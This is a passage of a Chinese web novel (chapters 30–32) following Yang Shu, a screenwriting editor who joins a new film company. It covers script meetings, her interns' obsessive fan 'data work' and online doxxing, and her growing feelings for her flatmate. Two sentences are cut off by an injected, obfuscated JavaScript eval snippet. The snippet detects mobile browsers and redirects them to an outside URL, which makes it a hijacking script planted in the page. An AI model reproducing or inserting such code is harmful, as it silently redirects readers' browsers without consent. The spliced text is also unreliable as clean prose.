有个小男孩格外淘气,趴在草坪上,鼓起腮帮子吹蒲公英,杨树的心被温柔牵动,小时候她也这样,自从在课本里学过蒲公英借助风力传播种子,家门口的野地上,她是所有蒲公英的风。 小男孩玩得起劲,杨树也凑个热闹,盯上一朵圆润的蒲公英,弯腰给它拍照,等拍完了就吹掉。秦朗蹲下来看蒲公英,有只小飞虫趴在上面,他转过头,仰面笑道:“你说,蒲公英是不是就是虫子的摩天轮?” 丁盼兮一心二用,一边走一边看朋友圈,夸秦朗想象力丰富。杨树放过小虫子和它的摩天轮了,她直起身,笑着看秦朗,他也在笑,她忽然想摸摸他的头。她想坏了,余生看到蒲公英,恐怕都会想一想这句话,她再也当不了意气风发的蒲公英杀手了。 江西菜馆,丁盼兮照例点了秦朗爱吃的酱板鸭,但鸭腿照例是两个女人的。杨树啃着鸭肉,辣得泪汪汪,所有烦心事都不想,她让自己什么事都不多想。 主管提交了杨树的辞职报告,杨树和姜妤都离职,人事部门终于给部门招揽了新人,两人都是即将毕业的大学生。 新人们忍了两天,就恢复口无遮拦的本性,男孩张口闭口我艹,谁和谁闹别扭被女孩统称为撕逼。主管嫌这种网络用语太粗鄙,新人们热情地科普它们有多形象,女孩以饭圈女孩自居,主管开始还以为是吃饭的圈子,很不解:“追星族不是更贴切?好好一个人,为什么要把自己丢到圈里去?” 女孩撒娇不依:“主管又在说笑了,是圈子的圈,不是猪圈的圈。” 《天作之合》还在后期制作,男主角白杨就被女孩盯上了,她说白杨有大红潜质,收他为墙头。于是主管又学会了新名词。 饭圈规则一套套,主管兴趣盎然地了解着。杨树环顾四周,包法利夫人在给婆婆打电话,叮嘱晚上买什么菜哄着儿子吃;军嫂吃着零食和丈夫视频,她妈心疼女儿守活寡,但调不回来也没辙;老板娘怀着二胎,专心看母婴网站,为未来的儿子挑童装,她坚信是儿子。 朱青依然没反馈消息,姜妤在这行有点门路,把杨树简历投给朋友所在的公司,该公司在两年内迅速崛起,但杨树更属意明堂影业。 杨树收到姜妤朋友公司的面试通知,她去了,但聊下来发现,他们未来的项目清一色IP改编,而且痴迷于一位作家的作品,一连买了好几部。 作家以前在网文圈算小众,但他的作品被改编成电视剧后,身价飙升。杨树也看过作家的作品,他写小市民是一把好手,但下笔油滑,市侩感太重。 如果成为这家公司的责编,杨树大概率会面对作家的其他作品,并且他们是一言堂,以导演为中心制,其余人等悉数配合。 尽管对方开出的薪酬福利都算厚道,杨树还是婉拒了。他们很会做营销,剧本一直不太行,常吹服道化精美考究,但那不是一部剧集最重要的东西。 办完离职手续,杨树去了一趟江西。《瓷缘》这样的大剧,搭景是重头戏,导演和婺源当地政府谈下了一块拍摄基地,占了将近四百亩地。 美术组和置景组没日没夜工作,在现有的两条街基础上,预计再搭出14条街,复刻上世纪八十年代的江西小城。 李峻和两个编剧正在修改剧本,其中一些戏份,会根据街景进行调整。制片人柳艳正拿着剧本大纲和初稿去谈演员,像《瓷缘》这种出了全稿的剧本,又是大导演大编剧强强联手,想演的演员很多,有几个偶像派明星想转型,都愿意降低片酬出演。 女主角年龄跨度很大,导演倾向找30来岁的青衣,年轻和年老的扮相都驾驭得了。被平台认可的适龄青衣屈指可数,但仔细选选,还是选得出来的。 青衣们早几年都红过,近年只能在偶像剧和情感剧里演配角。演配角也不是不行,但多半是很雷同的刁钻角色,《瓷缘》是她们等了很久的机会,尽管要试戏,都欣然接受。 从人设来看,男主角是文质彬彬的斯文知识分子,书生气质,做到国际物流大亨,也是儒商风范。导演想要找个看起来聪敏、像读过书的男人,一屋子人都笑了,柳艳说:“在男艺人里边找,太有难度了。” 回京前,杨树绕道去了宜春,再去探望原著作者刘书云。刘书云的新小说《桥梁》进展顺利,估摸着2018年就能写完,到时候全盘授权给杨树。 30. 第 30 章 编剧方雯交出《不惑之年》35集分集梗概初稿,朱青喊杨树去明堂影业开剧本会。杨树帮忙,项目才一路走到了今天,明堂影业的人也想听听她对分集梗概的看法。 朱青的助手小五把杨树迎进会议室,里面是明堂影业的头头脑脑,大老板钱一诺,制片人姚澈和剧本总监詹忆,看得出来,他们很重视《不惑之年》。 小五为众人做介绍,杨树和他们一一寒暄,钱一诺伸过手,和她有力一握。钱一诺53岁,两鬓微白,但身量高大,相貌堂堂,文人气质多过商人气质。杨树一下子想到他送给朱青那幅字:百战归来再读书。 詹忆比钱一诺年纪小些,看上去40岁上下,像中学语文老师,一副清俊相,杨树暗笑,倒是很符合《瓷缘》男主角形象。 制片人姚澈看着比朱青大不了几岁,骨架轻盈的高挑型,白衣黑发,气质很雅致,她率先开口,未语轻笑:“人都来齐了,咱们开始吧。” 杨树在长夜影视公司开的剧本会,众人上来就批评,但明堂这边先对编剧予以肯定,如何描绘小人物在生活里的痛苦,生而为人的艰辛,叶罗的故事大纲和现有原著内容提供了很好的范本,编剧方雯在分集梗概里展现的人物立体度和剧情节奏,给人惊喜。 剧本总监詹忆很肯定方雯自己提取的典型案例,让女主角跟社会各阶层打交道的过程和观察来得丰富可信,创作者能理性而包容地看待角色,是一部剧成功的前提。杨树等着众人说“但是”,但钱一诺把问题丢给她:“杨老师也说说看?” 杨树也夸了方雯,再谦虚地表示自己不能叫提意见和建议,而是聊聊感受。方雯交出的分集梗概总共8万字,体量上只能算小长篇,精彩是精彩,但杨树阅读像跟着女主角走了漫长的一生,时不时要停下来缓一下,她分析可能是事件太密集,信息量太大,其次,人物在面对难题的时候,有些反应出人意料。 从剧作角度来说,戏剧是在出其不意,在意料之外,但连看几次这样的反应,杨树说:“我总感觉似乎跟人设里那个狡黠豁达的人不太像,她更大鸣大放,像个江湖人物。” 姚澈笑着说:“我也有同感,咱们这戏是生活剧,但女主角有时候表现得很传奇。传奇和生活是对冲的。” 钱一诺颔首:“部分极端设置,让生活感有一定的丢失,匠气了。” 詹忆是从编剧做起的,很能理解方雯:“大巧不工,生活题材是最难写的。” 方雯把各方意见都记录下来,承诺整改后再提交。杨树讶然发现,明堂影业这几位大佬都不过分干涉内容创作,他们只提出问题,定好方向,让编剧去修改,不再横加干涉,完全不像在长夜影视公司那边,责编连女主角比男主角大两岁都不允许。 议题转向制作风格上,众人畅所欲言,杨树也提出看法,这几年播出的都市生活剧,画面都太亮了。主角哪怕是小白领,都住在豪华地段的精品房,衣物都一尘不染,完全不像真实生活的空间,而像被严重抛过光的。也许这也是一种美学风格,但场景的失真,会让观众不入戏。 姚澈闻言笑道:“咱们这戏,调性一定会实,妆化都得尽量隐形。等方老师出了前5集剧本,我就去谈导演。” 会议效率很高,众人转而聊起意向导演。都市生活剧这一类型,名编大导和明星演员是创作的主力,明堂影业不拘一格降人才,用了小编剧方雯,是建立在购买作家叶罗原著小说的前提下,对导演的人选是慎之又慎。 姚澈盘算要去找哪几位导演好好谈谈,杨树不动声色观察她,同样是美人,《瓷缘》和《大唐银楼》的制片人柳艳是艳丽型,姚澈是清丽,但面对男人,柳艳娇嗔卖乖,姚澈如春风化雨,没有媚态。 散会后,朱青和小五把编剧方雯送到门口,杨树在朱青办公室烧茶。办公室处处绿植,书架上摆着朱青常看的书,还有若干出版公司寄来的小说,墙壁上赫然是大老板钱一诺请名家写的“百战归来再读书”。 杨树很意外于明堂影业的大佬们对编剧创作限制很少,朱青说当初她决定来公司,就在于钱一诺说过,让创作回归创作本身。 尊重创作者的创作观,站在他们给出的东西上评判,这是杨树在李峻处学到最宝贵的一点,她发觉明堂影业也这样行事,剧本确定方向之初,会反复争论,但一旦正式写作,就放手让编剧去做,让他们最大限度完成作品。 杨树想成为霜晨月那部《玫瑰掌门》的责编,但简历递给朱青足有半个月,杳无音讯。本以为朱青帮不上忙,但今天参与了这次会议,朱青让她准备准备,这两天应该就能来办入职手续。 杨树很惊讶:“难道今天就是面试?” 朱青说这是章嘉敏的建议,章嘉敏比两人都懂人情世故,建议朱青让杨树在钱一诺面前表现表现,朱青再去向老板进言,想把此人挖来明堂影业,这会比直接发简历有优势,便于谈待遇。 方才开会,杨树发言不算多,但能看出剧本问题,句句在理,朱青心里稳了。两天后,杨树果然接到明堂影业人事部的电话,让她前去谈薪酬待遇。 朱青为杨树争取到了企划三部主管的位置,顶头上司是剧本总监詹忆。企划编辑是机动岗,跟杨树在长夜影视公司相似,既能为公司购买IP,也能参与剧本项目。 杨树薪酬福利比之前翻了一倍,还升了职,丁盼兮和秦朗都嚷着让她请客。杨树聊起明堂影业大老板钱一诺,丁盼兮又两眼放光,浑不顾杨树说其人年过半百。 丁盼兮跟漫画家分手后,没有正式恋爱,但一直有约会,对男人的上限还一举放宽到50岁,再有才也不能突破50岁,因为不好用了。不过,当她查了钱一诺照片,表示能为他破个例。 钱一诺在影视界称得上大亨,大亨相貌端正,谈吐也不凡,杨树认可丁盼兮的观点,此乃优质男人。但钱一诺曾经认为《三十难立》太尖锐,杨树对《不惑之年》的前景尚存疑虑。 《不惑之年》同样涉及到诸多两性议题,等编剧写到具体剧本,钱一诺还能不能给予充分的自由度就难说了。 杨树约定下周一正式入职,周末,她在丁盼兮一直想尝试的中东菜餐厅订了位,想把朱青也约出来,但朱青谢绝了,她策划的新项目刚交出剧本大纲,今晚得和编剧开会。 丁盼兮很好奇:“话少,还耿直,她怎么混到现在这样的?” 秦朗没见过朱青,但听明白了:“那样都能混成这样,说明真有才,得服。” 除了在极少数朋友面前,朱青对别人都是有事说事,没事不闲聊,但从青芽图书到明堂影业,她都以眼光准,心态稳著称,她的策划部已为明堂贡献了4个选题,都是直指当下,关照现实的题材。杨树的新工作得到她和章嘉敏的帮助,想送她们礼物,让丁盼兮和秦朗参谋。 章嘉敏的好买,但朱青和杨树不够熟,杨树想不出能送她什么,秦朗问:“她喝酒吗?” 杨树笑了:“喝,喝了才会话多一点,也好接近。” 秦朗说好办,给她在网上搜了一只银质小酒壶。上次在横店,杨树说起电影《返老孩童》里当街饮酒的场景,他就想买了,颇有点落拓江湖载酒行的意味。但也就一时兴起,放在收藏夹便作罢。 初夏的北京雨水多,三人等到天放晴出门,先去露天咖啡馆喝点东西,待到傍晚再去吃中东菜。杨树和秦朗讨论烈酒,丁盼兮没兴趣,找到一部刚上架的网剧看了起来,一边嫌粗制滥造,一边对着男主角的脸发花痴。 有一款日本烧酒名叫赤兔马,酒名是烈红色,字体很飘逸,杨树看到就想送朱青,对面的秦朗突然叫道:“杨树看我!” 杨树抬头,秦朗拿着手机说:“笑。” 咔嚓一声,手机镜头记录了杨树的笑脸,在她身后,天边出现一弯很标准的彩虹。食客们也都发现了,惊喜地拍照,杨树转身去拍彩虹,丁盼兮看了一眼,点个卯似的自拍了一张,就继续看剧。她学了一整天的财务课程,只想看点放松的,彩虹她见多了,但漂亮男孩只能在影视剧里见到。 秦朗看看丁盼兮,有人对彩虹竟然能无动于衷。杨树连拍数张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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企划三部原来的主管被调去做制片主任,詹忆介绍杨树是新来的主管,五个同事都鼓掌欢迎。杨树目光掠过一张张脸,实习生都年轻得不可思议,她一问,女孩张程程20岁,刚读完大一,在放暑假,男孩郑致瘦小清秀,21岁,大学刚毕业。 这人很聪明,杨树欣赏地问:“你跳过几次级?” 郑致很腼腆,说话不怎么敢跟人对视:“我们老家小学以前没那么正规,我爸妈没空管我,我读书早。” 三名正式员工是两女一男,年纪最长的是梁卓,28岁,已婚,跟杨树同龄。朱青助手小五说过,主管调走后,梁卓本有希望升职,但杨树空降而来,可能会有些矛盾。小五建议杨树给梁卓下马威,但杨树进来办公室,梁卓正全神贯注填写一份IP推荐表,她觉得没必要那样。 两个女人都不过25、6岁,一人名为刘云彤,是北京本地人,她和丈夫青梅竹马,毕业就结婚了,挺喜气洋洋的长相,人也开朗,说话是地道的北京话,很脆生;另一人黄婕,中文系毕业,但面容抑郁,让杨树想起易无,易无在写作圈郁郁不得志,杨树感觉黄婕生活里一定有让她很苦闷的事。 明堂影业去年播了一部谍战剧,实习生张程程是男三号陈曦的粉丝,每集都写剧评,发到微博上,被陈曦后援会传得很广。 陈曦在青年演员里演技最多中等,但张程程的文笔很有煽动力,不知情的人还以为是影帝下凡飙演技。上个月,张程程给谍战剧制片人姚澈发微信,咨询是否能给个暑期实习的机会,她每篇剧评都圈给明堂影业官方微博、谍战剧微博和制片人姚澈微博,在助推这部剧方面小有成绩,姚澈同意了。一己之力就盖过公司请的十几个剧评人,为什么不给小姑娘一个锻炼的机会? 张程程来了明堂影业,才跟刘云彤等同事说了实话,明堂影业今年底要开一部都市情感剧,陈曦是男二号,她想作为内部人员去探班。 实习生郑致粉的是顾叮叮,电脑和手机屏幕都是顾叮叮跳舞的照片。杨树瞥了一眼,郑致顿时不自在,眼神闪躲。杨树没跟他说顾叮叮在《天作之合》剧组那些烂事,人总需要一点精神寄托,值不值,都是他的事,而且多半他听不进去,也不相信。 31. 第 31 章 中午,杨树拿着烧酒和酒壶去找朱青,两人在园区找了一家日本料理店吃饭。下午还得上班,两人都只喝了半杯赤兔马,剩下大半瓶存在店里。 杨树跟章嘉敏和丁盼兮都很亲密无间,能挤一张床上聊整晚,朱青是另一类,不算亲昵,但杨树说过的每一件事,她都当回事,永远有反应。杨树看着不苟言笑的她,感到暖心,她认识的另一些人,称兄道弟好不腻歪,但“我帮你试试”是说说而已,情绪落在他们身上永远不会有回响。 刘云彤张罗聚餐,给新上司接风,当然,这顿晚餐是杨树买单,公司报销。席间,刘云彤和张程程闹喳喳聊八卦,梁卓四平八稳,看不出情绪,黄婕很内向,每次杨树和她说话,她都有点局促,但张程程很擅长把黄婕也拽进话题。 郑致很听梁卓的,梁卓让他给杨树敬酒,他照办,然后缩在座位上给顾叮叮打榜,连饭都没吃两口。 聚会到了尾声,张程程不闲聊了,眼睛盯着陈曦后援会粉丝群不放。上周这个时候,陈曦空降粉丝群,问候了大家,今天可能会再出现。 杨树回到家,秦朗和丁盼兮都出来问她第一天到新公司感觉怎么样。杨树扪心自问,这会儿看到秦朗,似乎还好,心跳得没那么快了,她松快了些,神色自如地讲起部门成员。 丁盼兮也觉得陈曦帅,并且是很有辨识度的帅。但出道几年,陈曦不是在大制作里演男三号,就是在小成本剧里演男二号,没能红起来,不像白杨,迅速从上部戏的男三号演到了《天作之合》的男一号。 丁盼兮问:“他是不是有金主?” 杨树摊手,她什么都不知道。但《天作之合》的制片人曾经说过,外行总以为演员明星都有金主,其实狼多肉少,大多数人混不到有固定金主的程度,只能向各路资本零售。 《天作之合》原著作者列举几个三四线演员的名字,问他们属于哪种情况,制片人说娱乐圈里,但凡略微叫得出名字的人,无人背后没资本,原著作者提到的那几位,最多是资本豢养的家女支家奴,被当成商品和礼品到处送,助资本拓宽资源,作为回报,会给他们张罗几个角色。白用别人却不给好处,在圈子里会被人笑话没品。 原著作者认为制片人的言辞太绝对,但制片人说长得好看、想演戏的人太多了,但每年开的影视剧就那些,角色你能演,别人也能演,为什么是他不是你,你说呢? 杨树问家里很有钱或很有背景的艺人会不会好一点,制片人说影视界最不缺有钱人,得有钱到泼天富贵才行,但那种人家的子弟进娱乐圈非常稀少。有背景同理,背景也分高低,他说起一个打着自家祖辈背景深厚旗号的女明星,其实在权贵圈根本不够看,而且她家族早没落了。 编剧问起几个很老牌的明星,他们都很有钱,也红过,制片人说无一例外都有饭局价和出台价。睡一觉就能获得普通人几辈子都挣不到的钱,谁会嫌钱多?总而言之,明星在这些事上很看得开,也豁得出去。 原著作者问一线当红明星是否不需要再以色事人,因为影视资源会主动找上他们,制片人呵呵一笑:“平台方和广告商他们不用伺候吗?” 杨树姑妄听之,本本分分演点小角色的艺人一定也有。话说回来,背后有资本也不意味着没感情成分,她若有钱有权,得到心头好,也想把心头好推给全世界知道,而且还有经济上的回报。长夜影视大老板捧女人劲头也很疯,公司的人都知道,他太太柳艳从没说什么,反正换得勤,还能帮她挣到钱,她自己兼任经纪人,也睡遍手下的小生。 按《天作之合》导演的说法,演员是资本操纵的工具人,他用演员出作品,演员用作品积累资历和名利,各取所需。丁盼兮平时看完这剧看那剧,男主角们在她眼里就没不帅的,但看完就算,绝无留恋,张程程和郑致竟会把工具人当成神顶礼膜拜,她很迷惑。 杨树做这一行,相对理解得多,追星也是一种生活方式,每天看看漂亮人儿,赏心悦目,快乐来得很简单。但她很快发现,自己把饭圈想简单了,张程程和郑致的生活重心是在网上过组织生活,打榜控评不亦乐乎。 张程程每天要固定打榜20个,还有不定时更新的野榜若干。郑致的工作量更大,他能来明堂影业实习,最主要原因是他能调配上千个微博号。 郑致很想进入核心粉丝群,但那是有钱有闲,经常现场支持,还能定期更新精修美图的粉丝的聚集地。他谦虚地说自己是顾叮叮的底层粉丝,张程程揭露,郑致一个人就相当于一支营销团队,她戏称郑致掌管了八千水军,喊他大元帅。 酒再香也得吆喝,这几年,影视业越来越依赖营销力量,它对于一部剧作具有举足轻重的作用,公司把郑致视为运营人才,然而他的精力都花在偶像顾叮叮身上。 顾叮叮这类年轻偶像,被粉丝成为爱豆,即英文idol的音译。杨树吃完午饭回办公室,梁卓等人都在午睡,郑致坐在办公桌前,两眼瞪圆,像一只应激状态的猫头鹰,俨然出了大事。 餐厅送了饮料,杨树带回来给郑致,郑致如惊弓之鸟,很紧张地站起说谢谢,杨树轻声问他怎么了,他急得涨红了脸,说不出话来。张程程说是顾叮叮的对家放出黑料,郑致被粉头号召去控评,为爱豆澄清真相。 顾叮叮正在拍的古装剧组有人爆料,骂她不红还耍大牌,拍戏要求多,通告时间都得按她的来,还不愿意拍外景戏,她说7月太晒了。 杨树耸眉,以她在《天作之合》剧组的见闻,这是事实,不是黑料。她在网上搜了搜,顾叮叮的粉丝群体自封“小叮当”,粉头做出控评模板,夸顾叮叮人美心善很敬业,让小叮当们复制粘贴到她古装剧官方微博下面。 张程程气势汹汹:“要是谁敢黑我们家曦曦,我也跟他们拼了。” 杨树要求两人上班时间不得摸鱼,郑致很想留在明堂影业,老老实实干活,但每次去上厕所的时间都格外长,回来还抓心挠肝,一看就是顾叮叮的“黑料”还没控制住。杨树再看网页,顾叮叮后援会的大粉们一哄而上,人肉出“爆黑料”之人,是剧组一个小统筹。 大粉们勒令剧组开除小统筹,还把她的照片发到各个网站,骂她人丑事多,用语极恶毒下流。杨树让郑致和张程程下班别走,她对这畸形的饭圈文化很好奇。 下班后,郑致怯怯问:“主管,我能再看一眼吗?” 杨树问:“那个被人肉的统筹,你们打算怎么办?” 郑致说:“她们想让她丢工作。” 杨树再问:“你参与了吗?” 郑致摇头,他交了500块钱年费,加入了顾叮叮粉丝后援会,因为肯花钱,又按时做任务,没多久就被分到数据组,负责搞定投票打榜数据。控评组另有其人,他不在那几个大群里。 杨树让他别干砸人饭碗的事,他珍惜工作,别人也想,郑致嗯了一声,杨树试探道:“如果你们家小顾真是那样的人呢?” 郑致睁大眼,说她不可能是,杨树问如果是真的呢,郑致固执说不可能,杨树无奈道:“如果我说我亲眼所见,你们会人肉我吗?” 郑致说不出话了,一张脸急得通红,张程程笑道:“主管是教育我们不能人肉别人,有人说几句难听的,你们骂回去就行了,干嘛让人丢工作?” 郑致小声说他只是打榜,没干别的,张程程问杨树:“您追过星吗?” 杨树承认中学时期也喜欢过几个明星,但没他们这样狂热,张程程问明星的名字,慨叹简直是上古人物,杨树说他们还活跃在屏幕上,郑致说:“但只能演配角了。” 杨树说演员不可能只演独角戏,配角也得有人来演,出彩的配角同样动人,张程程问:“比如说谁?” 杨树一口气能说出好几个,但最抱有期待的是祁宁。《天作之合》是祁宁在影视界的首秀,还没播出,他在娱乐圈是彻头彻尾的新人,但张程程知道他。 陈曦后援会的大粉定期搜罗新晋小生的信息,把他们都 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只要拍影视剧,就得有人担任责任编辑,文本审读和立项报备,以及沟通协调都是责编的事。公司要做的项目很多,负责把好剧本第一关的责编很重要。张程程率先响应杨树的提议,第二天就交出一篇几千字的小说。 小说是从陈曦出演的谍战剧里衍生出的新情节,人设脱胎于谍战剧,但写得出乎杨树意料的好,奇情冶艳,信手拈来。杨树来了兴致,问张程程有没有想过尝试做编剧,张程程说她只爱搞同人,对现实生活没感觉,也没经验,写不了。 杨树询问另外几个人,她没做时间限制,但这不是说过就算的事情。黄婕说正在写,梁卓和刘云彤互相看一眼,也说在构思。他们本不把写作任务当回事,但张程程很积极,倒显得他们怠慢了。 郑致没写过小说,一筹莫展,杨树让他选出最喜欢的电影,把每一场内容用文字写出来,这叫拉片子。《不惑之年》的编剧方雯保持定期拉片子的习惯,她说复述经典影视剧,是解构学习的过程,对创作大有裨益。 杨树动了真格,三个正式员工这才当回事,先后提交了自己拉的片子。黄婕最认真,写了8千字,刘云彤次之,梁卓的大片主要是漫长的飙车和枪战戏,只交出1200多字,很敷衍了事。 杨树当面批评了梁卓,梁卓笑说大片向来情节简单,以特效为主,他本想打个哈哈就过去,但杨树不依不饶,语气也很重,让他工作态度务必端正。 梁卓板着脸,一言不发。他儿子才一岁多,妻子在家带孩子,他有养家压力,杨树觉得给他多施施压,可能他就改进了,她更为张程程操心,是好苗子,但终日沉迷打榜和控评。 张程程很坦白,演艺圈厮杀这么厉害,不帮陈曦炒人气咋办,难道他能靠演技杀出一条血路?只能靠脸和热度入了投资人的眼,让他有戏演,有广告拍。 郑致不如张程程客观,他眼里,顾叮叮演技很好,一哭他就心碎,她一笑,他也忍不住跟着笑。上班时间,他很收敛,但一到休息时分,就双目炯炯做任务,誓要守护全世界最好的小仙女顾叮叮。 黄婕是部门最沉默的一个,张程程总给她带各种小零食,绽开笑脸:“我家曦曦代言的,别客气。”杨树觉得张程程热心快肠,还很有灵气,很想让她醒过来,丁盼兮说:“你让我别太惜才,自己也悠着点吧,她爸妈和老师都管不了她给男明星花钱,你管得着吗?” 杨树知道年轻人最不爱听别人唠叨,叹口气,往卧室走,秦朗喊住她:“杨树。” 杨树心一跳,秦朗笑道:“你这人就是这点可爱,对人对事都很认真。” 杨树脸上一热,秦朗似乎也有点不自在,问她记不记得本周六是什么日子。杨树当然知道是丁盼兮的生日,她已准备了礼物,秦朗说想买瓶酒,配着蛋糕吃,杨树提议订百香果乳酪蛋糕,它是“不野岛”家第二好吃的。最好吃的是朗姆芝士蛋糕,但他们改过版,味道大不如前。 两人约定周五下班去取蛋糕,杨树快步走进卧室。聊点这么平常的事,心又乱跳,邪门。她打开平板电脑,看了几章小说,睡觉。 32. 第 32 章 大老板钱一诺召开会议,朋友给他推荐了一部描写摇滚乐队的小说,作者很出名,已有几部小说改编成电视剧,播放数据和热度都比较好。 乐队故事30来万字,影视版权开价达到2000万。这是天价,但以作者另外几部IP改编剧的成绩来看,不算太高。钱一诺有些拿不定,让众人都谈谈看法。 杨树还在长夜影视公司时,看过乐队故事,对它感觉一般,没看下去。她很纳闷大老板竟会垂青于它,拿着笔记本走进会议室,张瑞江赫然在座。 杨树和朱青对视,都没跟青芽图书公司前副总张瑞江打招呼。张瑞江也一副不认识她俩的表情。钱一诺介绍张瑞江是新来的战略发展部总监,主管营销,兼任公司对视频网站的发行,杨树和他很生疏地互道你好,再不交谈。 分管发行的副总涂芊率先发言,就冲着作者的知名度和乐队故事的数据,就该拿下,不过,版权费能谈到1000万以下是最理想的。 制片人姚澈说乐队故事没写好,如果把它当成青春励志题材来看,从人物设置到情节太假了,当成言情小说来看,梦境氛围没造好,男女情感纠葛很平淡,两不靠。 张瑞江说:咱们不是有编剧嘛,编剧能改嘛。” 詹忆说:“底子有问题。这本比普通作者写的红,但跟作者以前的作品比,不红。不红是有原因的,定位不准。她到底是想让人看一个少女向的故事,还是一个少年向的故事?” 钱一诺说这正是他犹豫之所在,小说从音乐人的低谷到巅峰,该有的起起落落,它都写到了,他能一气呵成看完,但看完有个困惑:它拍给谁看? 《不惑之年》和《玫瑰掌门》都有明确受众,但乐队故事表达得芜杂了些。姚澈建议放弃,钱一诺有点惋惜,他大学时玩过乐队,对小说题材有情结,如果能谈到800万,他就找几个好编剧想想办法,但姚澈说800万也不值,还看向杨树:“如果拿来改编,杨树有建议吗?” 原著故事以男性拼事业为主,女人是服务型人格,杨树想把女人从陪衬地位升级,比如作词作曲,钱一诺不置可否,詹忆认为作词作曲是音乐的灵魂所在,必须放在身为创作型歌手的男主身上,他精通乐器,唱得好,谱曲也才华横溢。 杨树暗叹男人面对小说都不忘强调男性主导地位,不像很多女作者,铆足劲塑造有魅力的男性角色们,女主角却无趣寡淡,她另辟蹊径:“女主角只有恋爱功能,用来成就男主角,形象很暗淡。如果能放弃男女情部分,就讲述几个音乐少年的奋斗故事,受众反而明确得多,比如耽美向。” 众人一愣,朱青助手小五稍微普及了耽美小说,众人也都听过年初那部播出再下架的《上瘾》,一说就懂。 杨树说耽美是一种情感关系,受众很广。钱一诺让她具体说说,杨树就径直说开了:“据我观察,乐队和现场演出爱好者自诩是小众青年,他们国产言情剧看得少;看国产言情剧的是大众,可能不太喜欢那么多关于音乐和男人们的奋斗。” 钱一诺说:“对我来说,看点在于男主怎么去奋发。” 企划一部的主管说:“可目标观众更想看女主和男神谈恋爱,他当了大半本书的穷小子,最后一章才当上男神,万光万丈。小说可以这么搞,电视剧哪行啊。杨老师提议的耽美向,我觉得很合适,乐队成员可以随意组CP。” 姚澈笑道:“真是个光芒万丈的提议。我看小说的时候,就觉得女主是生拉硬拽写进来的,可有可无。” 张瑞江说:“耽美过不了审吧?” 朱青说:“不用拍任何过火的情节,袍泽之情,观众都能体会到的。” 另外几个责编也都认为,去掉女主角和言情部分会更好,就像当年的少年漫画,《灌篮高手》、《网球王子》和《棋魂》,都是立足于具体的行业,言情成分很少,但吸引了一大批女性读者。它们贡献了各式各样的少年形象,这对女性读者就够了,不需要再浓墨重彩去描述少年们的恋情生活。 发行副总涂芊说:“道理我都懂,工作中的男人最有魅力嘛,但耽美风险大,咱们还是别碰了。” 詹忆若有所思:“做耽美的话,确实是一条路,演员找对了,基本保底了一群受众。” 钱一诺仍想在原著给出的框架上解决问题,言情部分虽然没写好,但相遇相恋到失去,再到追回,原著作者都写到了,无非是请编剧改编,把言情线做得有感染力。 姚澈让钱一诺想想成本问题。乐队故事是小众题材,内容也不丰富,拍不了太长,注定是小剧,但小剧想发行得好,卖得上价,只能用当红明星,再加上IP本身的版权费,拍出来没一个亿打不住。问题是,钱一诺愿意花一个亿拍这个故事吗,何况当红明星多半演不出钱一诺想看到的音乐人形象。 成本问题总能戳中软肋,钱一诺劲头顿时没那么大了,杨树看着他笑,大老板平时未必不理性,但一个商人在喜好面前流露出的这点感性,还挺可爱。 会议开完,天都黑了。钱一诺的助理订了餐厅,宴请众人一同吃饭,迎接张瑞江正式入职。杨树和朱青双双告假,朱青的理由是跟编剧开会,杨树谎称陪朋友去医院,毕竟“跟朋友约着去取预定的生日蛋糕”听起来不太有说服力。 秦朗开车来接杨树,就快到了,杨树在朱青办公室待了几分钟。互联网资本已大肆进军影视业,朱青分析钱一诺看上了张瑞江的IT出身,并且张太太是一家视频网站开发部的副总,将来有很多合作的可能。 视频网站自制的网剧还在摸索中,不如电视剧制作精良,但往长远看,在网站上看影视剧,会成为观众的首选。杨树挺晦气,圈子只有这么大,又跟这个傻×重逢了,幸好钱一诺很重视内容,谈到文本取舍时,喊来开会的大多是制作部和剧本部的人。 秦朗说他在停车,杨树刚走到公司大门口,就看到李伊梦了。她笑吟吟地和张瑞江聊着什么,回眸看见杨树,走过来问好似的,一脸笑容:“几个一线明星都想演《大唐银楼》,几家卫视也很重视,我们考虑双台联播,再拿下两家视频网站。” 杨树充耳不闻,李伊梦说:“施严跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081880|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说没,你前男友有女朋友了,深圳土著,家里在城中村有十几幢大楼。” 杨树和陈樟分手后,都没删除对方,杨树能看到陈樟朋友圈的内容,他没提到什么新女友。她停住脚步,虽然不喜欢评价别人私德,但对李伊梦就不用给脸了,她抬抬下巴,鄙视道:“你还在跟已婚男人纠缠呢?” 李伊梦怔了一下,秦朗快步上前,把杨树的肩一揽,对李伊梦不客气道:“你谁啊?” 杨树被他的举动弄得一愣,秦朗放开她,亲昵地捏捏她的脸:“跟你前男友还有联系?看我晚上怎么收拾你。” 这家伙在客串男朋友,杨树脸颊发烫,赶紧顾左右而言他:“你的车停在哪儿?” 走出十来步,杨树暗暗平缓了心绪,踢了秦朗一下:“我没男朋友,在她面前也不丢人。” 秦朗笑着看她,她不自在,错开视线闷头走,过了数秒,她听到秦朗问:“你还没放下他?” “早就时过境迁了。”杨树想问他对前女友什么感觉,没问,强装淡定,对他抱一抱拳,“谢了,等下请你吃饭。” 秦朗不仅订了丁盼兮的生日蛋糕,还买了杨树爱吃的朗姆芝士蛋糕。在横店天台喝酒时,杨树说过,想用甜酒配蛋糕吃,等她从横店回来,秦朗就买了朗姆芝士为她接风,杨树连蛋糕座上的奶油都刮干净了,含着小勺子满心惆怅,这么好吃,就这么没了。 